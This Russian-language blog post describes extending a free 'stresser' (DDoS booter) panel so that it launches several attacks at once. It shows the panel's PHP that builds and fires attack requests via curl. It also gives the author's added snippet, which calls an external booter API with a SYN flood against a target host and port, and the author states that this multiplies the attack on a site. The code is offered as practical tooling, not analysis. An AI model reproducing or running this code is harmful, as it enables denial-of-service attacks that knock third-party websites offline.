На нашем сайте мы используем cookie для сбора информации технического характера и обрабатываем IP-адрес вашего местоположения. Продолжая использовать этот сайт, вы даете согласие на использование файлов cookies. Здесь вы можете узнать, как мы пользуемся файлами cookies.
Я согласен
логотип upread.ru

Усиление стрессера



Попросил тут заказчик доработать готовый стрессер так, чтобы можно было одновременно запускать две и более атаки. Что ж, давайте сделаем это.

Итак, имеем бесплатный скрипт стрессера. Надо сказать, симпатичный, продуманный. Есть возможность как самостоятельно писать методы, так и добавлять апи с внешних ресурсов.

интерфейс стрессера

Давайте посмотрим внутрь его. С помощью отладчика браузера можно увидеть, что при добавлении новой атаки идет запрос на файл \\includes\\ajax\\user\\attacks\\hub.php.

В файле сначала идет множество проверок – на возможность доступа пользователя, корректный адрес и прочее. Далее добавляется в базу данных задача и с помощью курла отправляется запрос на нужный адрес апи (занесенный перед этим в базу данных).

if ($vip == '1') {
	$SQLSelectAPI = $odb -> prepare("SELECT * FROM `api` WHERE `vip` = '1' AND `methods` LIKE :method ORDER BY RAND()");
	$SQLSelectAPI -> execute(array(':method' => "%{$method}%"));		
} else {
	$SQLSelectAPI = $odb -> prepare("SELECT * FROM `api` WHERE `vip` = '0' AND `methods` LIKE :method ORDER BY RAND()");
	$SQLSelectAPI -> execute(array(':method' => "%{$method}%"));}
while ($show = $SQLSelectAPI->fetch(PDO::FETCH_ASSOC)) {
	if ($rotation == 1 && $i > 0) {
		break;
	}
	$name = $show['name'];
	$count = $odb->query("SELECT COUNT(*) FROM `logs` WHERE `handler` LIKE '%$name%' AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0")->fetchColumn(0);
	if ($count >= $show['slots']) {
		continue;
	}
	$i++;
}
$arrayFind = array('[host]', '[port]', '[time]', '[method]');
$arrayReplace = array($host, $port, $time, $method);
$APILink = $show['api'];
$handler[] = $show['name'];
$username = $_SESSION['username'];
$APILink = str_replace($arrayFind, $arrayReplace, $APILink);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $APILink);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$result = curl_exec($ch);
curl_close($ch);
Казалось бы, просто после этого выполнить еще один запрос к базе и еще раз открыть курл – чтобы выполнить еще один запрос. Однако, нет никакого желания путаться с названиями методов, потом в цикле выполнять – ничего хорошего не получится. Мы сделаем проще. Как? А очень просто.Получим название метода и если оно совпадает, то напрямую отправим запрос к стороннему апи. Нам же не обязательно делать это через базу данных, верно? Можно сделать это, к примеру, так

if ($method=="WOLF")	{
	$options = array('http' => array('user_agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'));
	$context = stream_context_create($options);
	$response = file_get_contents('http://api.undisclosed.to/api.php?key=ключ&tool=boot&host='.$host.'&port='.$port.'&time='.$time.'&method=SYN', false, $context);
	$result = "ok";
	}
Здесь в примере мы задействуем API от undisclosed.to, но в принципе оно может быть любым. Таким образом можно усилить атаку на сайт в несколько раз, используя разные стрессеры. Естественно, что делать это надо после всех проверок (допустимый ip адрес и прочее) - чтобы не допустить несанкционированного запуска.

Однако, данный способ подходит больше для единичных случаев. Если же вам требуется постоянно прилиновывать методы друг к другу (и их много), то лучше добавить таблицу связей (и новых методов) и затем уже встроенными средствами вызывать их. Также надо будет продумать процесс их остановки.

Напоминаю, что вы в любое время можете обратиться за помощью в программировании ко мне. Я вам помогу за небольшую плату – сумму уточняйте в личке.



Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.



тегизаметки, php, стрессер





Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Структуры данных и способы их реализации
Урок 6. Арифметические операторы C#


© upread.ru 2013-2022
При перепечатке активная ссылка на сайт обязательна.
Задать вопрос
письмо
Здравствуйте! Вы можете задать мне любой вопрос. Если не получается отправить сообщение через эту форму, то пишите на почу up777up@yandex.ru
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.